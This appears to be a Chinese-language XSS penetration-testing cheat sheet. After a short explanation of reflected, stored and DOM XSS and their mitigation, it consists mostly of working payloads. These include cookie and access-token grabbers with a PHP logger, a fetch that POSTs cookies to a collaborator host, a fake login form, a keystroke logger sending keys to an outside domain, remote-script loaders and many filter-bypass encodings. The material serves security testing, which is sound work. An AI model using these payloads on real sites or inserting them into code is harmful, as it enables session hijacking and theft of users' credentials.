跳转至

跨站脚本攻击 (Cross Site Scripting)

跨站脚本攻击 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。XSS 允许攻击者将客户端脚本注入到其他用户查看的网页中。

摘要 (Summary)

方法论 (Methodology)

跨站脚本攻击 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。XSS 允许攻击者将恶意代码注入到网站中,然后该代码会在任何访问该网站的人的浏览器中执行。这可能导致攻击者窃取敏感信息(如用户登录凭据)或执行其他恶意操作。

主要有三种 XSS 攻击类型:

  • 反射型 XSS (Reflected XSS):在反射型 XSS 攻击中,恶意代码被嵌入在发送给受害者的链接中。当受害者点击链接时,代码会在其浏览器中执行。例如,攻击者可以创建一个包含恶意 JavaScript 的链接,并通过电子邮件发送给受害者。当受害者点击该链接时,JavaScript 代码在他们的浏览器中执行,允许攻击者执行各种操作,如窃取他们的登录凭据。

  • 存储型 XSS (Stored XSS):在存储型 XSS 攻击中,恶意代码存储在服务器上,并在每次访问受漏洞影响的页面时执行。例如,攻击者可以将恶意代码注入到博客文章的评论中。当其他用户查看该博客文章时,恶意代码会在他们的浏览器中执行,从而允许攻击者执行操作。

  • 基于 DOM 的 XSS (DOM-based XSS):这是一种当容易受攻击的 Web 应用程序在用户的浏览器中修文档对象模型 (DOM) 时发生的 XSS 攻击。例如,当用户输入以某种方式被用于更新页面的 HTML 或 JavaScript 代码时。在基于 DOM 的 XSS 攻击中,恶意代码不发送到服务器,而是直接在用户的浏览器中执行。这使得检测和预防这类攻击变得困难,因为服务器没有任何恶意代码的记录。

为了防止 XSS 攻击,正确地验证和清理用户输入非常重要。这意味着确保所有输入符合必要标准,并移除任何潜在危险的字符或代码。在将用户输入渲染到浏览器之前对其特殊字符进行转义同样至关重要,以防止浏览器将其解释为代码。

概念验证 (Proof of Concept)

在利用 XSS 漏洞时,演示一个可能导致账户接管或敏感数据泄露的完整利用场景会更有效。不要仅仅使用 alert 载荷报告 XSS,而应以此获取有价值的数据,如支付信息、个人身份信息 (PII)、会话 Cookie 或凭据。

数据抓取器 (Data Grabber)

获取管理员 Cookie 或敏感访问令牌,以下载荷会将其发送到受控页面。

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

将收集到的数据写入文件。

<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

跨源资源共享 (CORS)

<script>
  fetch('https://<SESSION>.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>

UI 重塑 (UI Redressing)

利用 XSS 修改页面的 HTML 内容,以显示伪造的登录表单。

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>请登录以继续</h1><form>用户名: <input type='text'>密码: <input type='password'></form><input value='提交' type='submit'>"
</script>

Javascript 键盘记录器 (Javascript Keylogger)

收集敏感数据的另一种方式是设置 Javascript 键盘记录器。

<img src=x onerror='document.onkeypress=function(e){fetch("http://yourdomain.com?k="+String.fromCharCode(e.which))},this.remove();'>

其他方式 (Other Ways)

更多利用方式请访问 http://www.xss-payloads.com/payloads-list.html?a#category=all

识别 XSS 端点 (Identify an XSS Endpoint)

此载荷会在开发者控制台中打开调试器,而不是触发弹出警报框。

<script>debugger;</script>

具有内容托管功能的现代应用程序可以使用沙盒域名 (sandbox domains)

以安全地托管各种类型的用户生成内容。其中许多沙盒专门用于隔离用户上传的 HTML、JavaScript 或 Flash 小程序,并确保它们无法访问任何用户数据。

因此,作为默认 XSS 载荷,使用 alert(document.domain)alert(window.origin) 优于 alert(1),以便了解 XSS 实际在哪个域作用域下执行。

替代 <script>alert(1)</script> 的更好载荷:

<script>alert(document.domain.concat("\n").concat(window.origin))</script>

虽然 alert() 对于反射型 XSS 很好,但对于存储型 XSS 很快就会成为负担,因为每次执行都需要关闭弹出窗口。因此可以使用 console.log() 在开发者控制台显示消息(不需要任何交互)。

示例:

<script>console.log("来自 XYZ 页面的搜索栏 XSS 测试\n".concat(document.domain).concat("\n").concat(window.origin))</script>

参考资料:

工具 (Tools)

大多数工具也适用于盲 XSS 攻击:

  • XSSStrike:非常受欢迎,但遗憾的是维护得不是很好。
  • xsser:利用无头浏览器检测 XSS 漏洞。
  • Dalfox:广泛的功能,得益于 Go 语言实现,速度极快。
  • XSpear:类似于 Dalfox,但基于 Ruby。
  • domdig:基于无头 Chrome 的 XSS 测试工具。

HTML/应用程序中的 XSS (XSS in HTML/Applications)

常用载荷 (Common Payloads)

// 基础载荷
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// 图片载荷 (Img)
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>

// 矢量图载荷 (Svg)
<svg
onload=alert(1)>
<svg/onload=alert('XSS')>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` 是唯一允许自闭合脚本标签的浏览器)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div 载荷
<div onpointerover="alert(45)">将鼠标悬停于此</div>
<div onpointerdown="alert(45)">将鼠标悬停于此</div>
<div onpointerenter="alert(45)">将鼠标悬停于此</div>
<div onpointerleave="alert(45)">将鼠标悬停于此</div>
<div onpointermove="alert(45)">将鼠标悬停于此</div>
<div onpointerout="alert(45)">将鼠标悬停于此</div>
<div onpointerup="alert(45)">将鼠标悬停于此</div>

利用 HTML5 标签的 XSS (XSS using HTML5 tags)

<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>十分之二</meter>

<body ontouchstart=alert(1)> // 当手指触摸屏幕时触发
<body ontouchend=alert(1)>   // 当手指离开触摸屏时触发
<body ontouchmove=alert(1)>  // 当手指在屏幕上滑动时触发

利用远程 JS 的 XSS (XSS using a remote JS)

<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// 你也可以使用 14.rs/#payload 指定任意载荷
例如: 14.rs/#alert(document.domain)

隐藏输入框中的 XSS (XSS in Hidden Input)

<input type="hidden" accesskey="X" onclick="alert(1)">
使用 CTRL+SHIFT+X 触发 onclick 事件

在较新的浏览器中 (firefox-130/chrome-108):

<input type="hidden" oncontentvisibilityautostatechange="alert(1)"  style="content-visibility:auto" >

大写输出中的 XSS (XSS in Uppercase Output)

<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>

基于 DOM 的 XSS (DOM Based XSS)

基于 DOM XSS Sink 的载荷:

#"><img src=/ onerror=alert(2)>

JS 上下文中的 XSS (XSS in JS Context)

-(confirm)(document.domain)//
; alert(1);//
// 来自 [@brutelogic](https://twitter.com/brutelogic) 的无需单/双引号的载荷

URI 封装器中的 XSS (XSS in Wrappers for URI)

javascript 封装器

javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

我们可以对 "javascript:" 进行 Hex/八进制编码
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

我们可以使用换行符
java%0ascript:alert(1)   - 换行符 (LF, \n)
java%09script:alert(1)   - 水平制表符 (HT, \t)
java%0dscript:alert(1)   - 回车符 (CR, \r)

使用转义字符
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

使用换行符和注释 //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)

data 封装器

data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

vbscript 封装器

仅限 IE 浏览器:

vbscript:msgbox("XSS")

文件中的 XSS (XSS in Files)

注意: 此处使用 XML CDATA 部分,以便 JavaScript 载荷不会被视为 XML 标记。

<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

XML 中的 XSS

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

SVG 中的 XSS

简单脚本。代号:绿色三角形

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

更全面的载荷,包含 svg 标签属性、desc 脚本、foreignObject 脚本、foreignObject iframe、title 脚本、animatetransform 事件和简单脚本。代号:红色闪电。作者:noraj。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('svg 属性')">
  <polygon id="lightning" points="0,100 50,25 50,75 100,0" fill="#ff1919" stroke="#ff0000"/>
  <desc><script>alert('svg desc')</script></desc>
  <foreignObject><script>alert('svg foreignObject')</script></foreignObject>
  <foreignObject width="500" height="500">
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert('svg foreignObject iframe');" width="400" height="250"/>
  </foreignObject>
  <title><script>alert('svg title')</script></title>
  <animatetransform onbegin="alert('svg animatetransform onbegin')"></animatetransform>
  <script type="text/javascript">
    alert('svg script');
  </script>
</svg>

短型 SVG 载荷 (Short SVG Payload)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

嵌套 SVG 与 XSS

在 SVG 中包含远程 SVG 图像是可行的,但不会触发嵌入在远程 SVG 中的 XSS。作者:noraj。

SVG 1.x (xlink:href)

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg" height="200" width="200"/>
</svg>

在 SVG 中包含远程 SVG 片段 (fragment) 是可行的,但不会触发嵌入在远程 SVG 元素中的 XSS,因为无法在 polygon/rect 等标签上添加漏洞属性(因为 style 属性在现代浏览器中已不再是有效载荷向量)。作者:noraj。

SVG 1.x (xlink:href)

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg#lightning"/>
</svg>

然而,在 SVG 文档中包含 svg 标签是可行的,并允许从子 SVG 中执行 XSS。代号:法国国旗。作者:noraj。

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <svg x="10">
    <rect x="10" y="10" height="100" width="100" style="fill: #002654"/>
    <script type="text/javascript">alert('子-svg 1');</script>
  </svg>
  <svg x="200">
    <rect x="10" y="10" height="100" width="100" style="fill: #ED2939"/>
    <script type="text/javascript">alert('子-svg 2');</script>
  </svg>
</svg>

Markdown 中的 XSS

[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

CSS 中的 XSS

<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>嘿嘿</div>
  </body>
</html>

PostMessage 中的 XSS (XSS in PostMessage)

如果目标源是星号 *,消息可以发送到任何引用了子页面的域。

<html>
<body>
    <input type=button value="点我" id="btn">
</body>

<script>
document.getElementById('btn').onclick = function(e){
    window.poc = window.open('http://www.被脱敏域名.com/#login');
    setTimeout(function(){
        window.poc.postMessage(
            {
                "sender": "accounts",
                "url": "javascript:confirm('XSS')",
            },
            '*'
        );
    }, 2000);
}
</script>
</html>

盲 XSS (Blind XSS)

XSS Hunter

XSS Hunter 允许你发现各种跨站脚本漏洞,包括经常被遗漏的盲 XSS。该服务的工作原理是托管专门的 XSS 探测器,一旦被触发,它会扫描页面并将漏洞页面的信息发送到 XSS Hunter 服务。

XSS Hunter 已弃用,曾可用地址为 https://xsshunter.com/app

你可以搭设替代版本:

示例载荷:

"><script src="https://js.rip/<自定义名称>"></script>
"><script src=//<自定义子域名>.xss.ht></script>
<script>$.getScript("//<自定义子域名>.xss.ht")</script>

其他盲 XSS 工具

盲 XSS 常见端点 (Blind XSS endpoint)

  • 联系表单
  • 工单支持
  • Referer 请求头
    • 网站自定义分析工具
    • 管理面板日志
  • User Agent 请求头
    • 网站自定义分析工具
    • 管理面板日志
  • 评论框
    • 管理面板

技巧 (Tips)

在部署重量级盲 XSS 测试工具之前,你可以使用 XSS 数据抓取器 和一行代码开启的 HTTP 服务器来确认盲 XSS 的存在。

例如,载荷:

<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>

一行代码开启的 HTTP 服务器:

ruby -run -ehttpd . -p8080

突变型 XSS (Mutated XSS)

利用浏览器奇技淫巧 (Quirks) 重新生成某些 HTML 标签。

示例:来自 Masato Kinugawa 的突变型 XSS,曾用于针对 Google 搜索上的 cure53/DOMPurify 组件。

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

实验环境 (Labs)

参考资料 (References)